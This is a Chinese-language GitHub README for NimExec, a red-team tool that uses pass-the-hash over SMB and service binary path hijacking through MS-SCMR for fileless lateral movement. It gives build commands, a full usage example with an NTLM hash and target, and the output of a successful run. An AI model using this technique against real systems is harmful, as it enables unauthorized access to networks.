frkngksl/NimExec
GitHub: frkngksl/NimExec
NimExec 是一个基于 Nim 语言的无文件远程命令执行工具,专为横向移动和内网渗透设计。
Stars: 394 | Forks: 40
# Nim 执行
本质上,NimExec 是一个无文件远程命令执行工具,它利用了服务控制管理器远程协议 (MS-SCMR)。该工具通过手工构造的 RPC 数据包(而非 WinAPI 调用)来更改由 LocalSystem 运行的一个随机或指定服务的二进制路径,以在目标机器上执行给定的命令,随后再将其恢复。这些数据包通过 SMB2 和 svcctl 命名管道进行传输。
NimExec 需要一个 NTLM 哈希值来对目标机器进行身份验证,然后通过手工构造的数据包使用 NTLM 认证方法完成此认证过程。
由于所有必需的网络数据包都是手动构建的,并且没有使用操作系统特定的函数,NimExec 可以利用 Nim 的跨平台编译支持,在不同操作系统上使用。
本项目受到了 [Julio 的 SharpNoPSExec](https://github.com/juliourena/SharpNoPSExec) 工具的启发。你可以认为 NimExec 是 SharpNoPSExec 的一个支持跨平台编译和内置哈希传递的版本。此外,我从 [Kevin Robertson 的 Invoke-SMBExec 脚本](https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1)中学习了所需的网络数据包结构。
# 编译
```
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
```
上述命令使用了不同的垃圾收集器,因为 Nim 默认的垃圾收集器在服务搜索过程中会引发一些 SIGSEGV 错误。
另外,你可以通过 Nimble 使用以下命令安装所需的 Nim 模块:
```
nimble install ptr_math nimcrypto hostname
```
# 使用方法
```
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
```
已在从 Ubuntu 20.04 和 Windows 10 机器到 Windows 10 和 11、Windows Server 16、19 和 22 的环境中进行了测试。
# 命令行参数
```
-v | --verbose Enable more verbose output.
-u | --username Username for NTLM Authentication.*
-h | --hash NTLM password hash for NTLM Authentication.**
-p | --password Plaintext password.**
-t | --target Lateral movement target.*
-c | --command Command to execute.*
-d | --domain Domain name for NTLM Authentication.
-s | --service Name of the service instead of a random one.
--help Show the help message.
```
# 参考资料
- https://github.com/juliourena/SharpNoPSExec
- https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1
- https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SCMR/%5bMS-SCMR%5d.pdf
- https://github.com/jborean93/pypsexec/tree/master
- https://www.x86matthew.com/view_post?id=create_svc_rpc
# 免责声明
仅供授权安全测试使用。未经授权,滥用此工具对系统进行攻击是违法的。
标签:Prisma Cloud